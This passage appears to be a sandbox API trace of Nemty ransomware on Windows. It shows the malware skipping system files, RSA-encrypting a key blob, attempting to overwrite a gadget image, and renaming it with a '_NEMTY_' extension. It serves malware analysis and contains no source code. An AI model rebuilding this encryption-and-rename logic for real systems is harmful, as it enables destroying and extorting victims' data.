[0147.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0147.814] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85aab60b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85aab60b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d9c35cf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="next_rest.png", cAlternateFileName="")) returned 1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2=".") returned 1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="..") returned 1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="...") returned 1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="windows") returned -1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="$RECYCLE.BIN") returned 1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="rsa") returned -1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="NTDETECT.COM") returned -1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="ntldr") returned -1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="MSDOS.SYS") returned 1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="IO.SYS") returned 1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="boot.ini") returned 1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="boot.ini") returned 1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="AUTOEXEC.BAT") returned 1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="ntuser.dat") returned -1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="desktop.ini") returned 1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="CONFIG.SYS") returned 1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="RECYCLER") returned -1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="BOOTSECT.BAK") returned 1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="bootmgr") returned 1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="programdata") returned -1 [0147.814] lstrcmpiW (lpString1="next_rest.png", lpString2="appdata") returned 1 [0147.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_rest.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_rest.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="next_rest.png", lpUsedDefaultChar=0x0) returned 13 [0147.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_rest.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_rest.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="next_rest.png", lpUsedDefaultChar=0x0) returned 13 [0147.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0147.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_rest.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_rest.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="next_rest.png", lpUsedDefaultChar=0x0) returned 13 [0147.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_rest.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_rest.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="next_rest.png", lpUsedDefaultChar=0x0) returned 13 [0147.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0147.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0147.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0147.815] Sleep (dwMilliseconds=0x5) [0147.823] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xbc1aa30, dwHighDateTime=0x1d561e8)) [0147.823] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xbc1aa30, dwHighDateTime=0x1d561e8)) [0147.823] GetLastError () returned 0x5 [0147.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.823] GetLastError () returned 0x5 [0147.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.824] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0147.824] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0147.824] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0147.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0147.824] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="1xt4KbEXJyykqVVSsOqpTHYQM+PBkoKmB8y6hfkCOFuNUi4sPNbBZ7zRNxKsYtC8\r\n4JfZviqMhIFT5UQD+AYti+b8YXX3yT2Tyn1yVW2YN4Mf9YuQLCsNIr8+kMYn6oa3\r\nP2SHrQZXdQYbOjbhNwXrpia+RQlc2BmePureVa5gMeGY3bVYNG9rcqFclUiCYKAw\r\nDpfV/OxHJDC1OiHmwLbnUuQdNugwFQ2ZJPu6GXszJEuR+QPkE644RLbLZ0fvpSdp\r\nrgvuMkpwbmMuddNJTajIDr7UtSiecAf+z99wbJ6qQAtn6Ysbl8FVJjWUBomQ+6nb\r\npwuLfIsVTKMKlvYJT5JOaA==\r\n", pcchString=0x653e91c) returned 1 [0147.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0147.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0147.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0147.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0147.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0147.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0147.824] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0147.824] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0147.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0147.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.824] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.834] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.843] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.852] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.852] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.861] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.862] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.871] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.871] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.880] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.880] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.896] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.896] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.905] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.905] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.914] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.923] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.923] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.929] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.936] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0147.936] CloseHandle (hObject=0xffffffff) returned 0 [0147.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0147.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0147.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0147.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0147.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0147.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0147.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0147.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.936] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_rest.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_rest.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_rest.png._nemty_kgobjgd_")) returned 0 [0147.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0147.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0147.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0147.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0147.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0147.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0147.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0147.936] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="on_desktop", cAlternateFileName="ON_DES~1")) returned 1 [0147.936] lstrcmpiW (lpString1="on_desktop", lpString2=".") returned 1 [0147.936] lstrcmpiW (lpString1="on_desktop", lpString2="..") returned 1 [0147.936] lstrcmpiW (lpString1="on_desktop", lpString2="...") returned 1 [0147.936] lstrcmpiW (lpString1="on_desktop", lpString2="windows") returned -1 [0147.937] lstrcmpiW (lpString1="on_desktop", lpString2="$RECYCLE.BIN") returned 1 [0147.937] lstrcmpiW (lpString1="on_desktop", lpString2="rsa") returned -1 [0147.937] lstrcmpiW (lpString1="on_desktop", lpString2="NTDETECT.COM") returned 1 [0147.937] lstrcmpiW (lpString1="on_desktop", lpString2="ntldr") returned 1 [0147.937] lstrcmpiW (lpString1="on_desktop", lpString2="MSDOS.SYS") returned 1 [0147.937] lstrcmpiW (lpString1="on_desktop", lpString2="IO.SYS") returned 1 [0147.937] lstrcmpiW (lpString1="on_desktop", lpString2="boot.ini") returned 1 [0147.937] lstrcmpiW (lpString1="on_desktop", lpString2="boot.ini") returned 1 [0147.937] lstrcmpiW (lpString1="on_desktop", lpString2="AUTOEXEC.BAT") returned 1 [0147.937] lstrcmpiW (lpString1="on_desktop", lpString2="ntuser.dat") returned 1 [0147.937] lstrcmpiW (lpString1="on_desktop", lpString2="desktop.ini") returned 1 [0147.937] lstrcmpiW (lpString1="on_desktop", lpString2="CONFIG.SYS") returned 1 [0147.937] lstrcmpiW (lpString1="on_desktop", lpString2="RECYCLER") returned -1 [0147.937] lstrcmpiW (lpString1="on_desktop", lpString2="BOOTSECT.BAK") returned 1 [0147.937] lstrcmpiW (lpString1="on_desktop", lpString2="bootmgr") returned 1 [0147.937] lstrcmpiW (lpString1="on_desktop", lpString2="programdata") returned -1 [0147.937] lstrcmpiW (lpString1="on_desktop", lpString2="appdata") returned 1 [0147.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="on_desktop", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="on_desktop", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="on_desktop", lpUsedDefaultChar=0x0) returned 10 [0147.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="on_desktop", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="on_desktop", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="on_desktop", lpUsedDefaultChar=0x0) returned 10 [0147.937] HeapFree (in: 